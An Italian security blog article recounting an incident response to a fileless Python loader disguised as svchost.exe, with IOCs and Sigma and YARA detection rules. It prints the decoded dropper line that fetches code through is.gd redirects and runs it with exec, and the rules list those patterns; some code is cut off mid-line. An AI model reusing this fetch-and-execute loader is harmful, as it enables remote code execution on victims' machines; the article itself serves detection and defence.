Salta al contenuto principale


Stealth Malware: la nuova frontiera del cybercrime


Accessi anomali e un loader Invisibile: storia di un attacco fileless evitato per un soffio

Abstract: Un caso reale di incident response porta alla scoperta di quello che chiameremo “Unknown Malware AP”, un sofisticato loader fileless basato su Python, capace di eseguire codice remoto usando Telegram e is.gd come vettori. Il malware sfugge ai rilevamenti tradizionali, ma viene individuato grazie all’intuito analitico e alla correlazione tra eventi di basso impatto.

L’articolo ricostruisce la catena di compromissione, le modalità di esecuzione fileless e le tecniche di detection efficaci per intercettarlo.

Introduzione


Quando un cliente mi chiama con preoccupazione per delle e-mail di mancato recapito verso indirizzi sconosciuti, la mente va subito a un possibile caso di spoofing o compromissione. Ma quello che si nascondeva sotto era molto di più: un loader fileless, invisibile agli antivirus e capace di eseguire codice remoto usando Telegram come canale di comando.

L’intervento di emergenza


La mailbox di un dipendente invia email fantasma, generate da un’origine ignota. Il primo passo è deployare un EDR su tutte le macchine della rete. Quasi subito emergono anomalie: un processo parte da un percorso insolito `C:\Users\Public\Windows\svchost.exe` e lancia un file denominato `Photos`.

La command line incriminata è:

"C:\Users\Public\Windows\svchost.exe"
C:\Users\Public\Windows\Photos

Il file `svchost.exe`, dal nome ingannevole ed in un percorso decisamente anomalo, risulta essere un interprete Python.

L’hash SHA256 è: ff507b25af4b3e43be7e351ec12b483fe46bdbc5656baae6ad0490c20b56e730

Nonostante l’analisi su VirusTotal non evidenzi nulla di sospetto, qualcosa, come evidente, non torna.

Il nodo: il file `Photos`


Grazie all’EDR, ispeziono le linee di comando e identifico Photos come il vero core: un file codificato in Base64 che, una volta decifrato, rivela un dropper Python che esegue questo codice:

import requests, re

exec(requests.get(requests.head(f'https://is.gd/{match.group(1)}', allow_redirects=True).url).text)

if (match := re.search(r'

Connessioni anomale


L’EDR registra comunicazioni verso tre IP:

  • 45.63.94.214
  • 104.25.233.53
  • 149.154.167.99

Il tutto, classificato solo come alert di media gravità. Un segnale che, in un SOC affollato da log e warning, sarebbe potuto passare inosservato.

Un loader su misura


Non esistono corrispondenze pubbliche note con altri loader. Nessuna traccia in ambienti come Hybrid Analysis, VirusTotal ed altri strumenti di analisi. Tutto lascia supporre che si tratti di un loader sviluppato su misura, potenzialmente generato o rifinito con strumenti AI.

Epilogo: la differenza tra SOC automatico e analisi umana


In un contesto altamente rumoroso, questo attacco avrebbe potuto annidarsi per mesi senza essere scoperto. Nessuna firma, nessuna traccia persistente, solo una command line anomala e delle email di rimbalzo come unica spia.

Ma proprio quell’incongruenza, colta dall’intuito umano, ha dato inizio all’analisi.

Un’analisi che ha rivelato un dropper silente, che avrebbe potuto aprire la strada aransomware, backdoor, esfiltrazione.

Non è finita con un disastro.

Ma ci è mancato poco.

Regole utili al rilevamento

Sigma Rule:


title: Python Fileless Loader via Telegram and is.gd
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\\python.exe'
CommandLine|contains:
- requests.get(
- exec(
- t.me/
- is.gd/
condition: selection
level: high
description: Detects Python-based fileless dropper fetching payload via Telegram + is.gd
author: Agostino Pellegrino
falsepositives:
- Development environments using dynamic remote loading (rare)
references:
- attack.mitre.org/techniques/T1…
- attack.mitre.org/techniques/T1…
tags:
- attack.t1059
- attack.t1071.001
- fileless
- telegram
- loader
YARA Rule:
rule Unknown_Malware_AP_Fileless_Telegram_Loader {
meta:
description = "Detects Python fileless dropper using Telegram and is.gd"
author = "Agostino Pellegrino"
version = "1.0"
date = "2025-06-18"
strings:
$py_exec_requests = "exec(requests.get(" ascii
$py_telegram_url = "https://t.me/" ascii
$py_isgd_url = "https://is.gd/" ascii
$py_og_regex = "og:description" ascii
condition:
2 of them and filesize

L'articolo Stealth Malware: la nuova frontiera del cybercrime proviene da il blog della sicurezza informatica.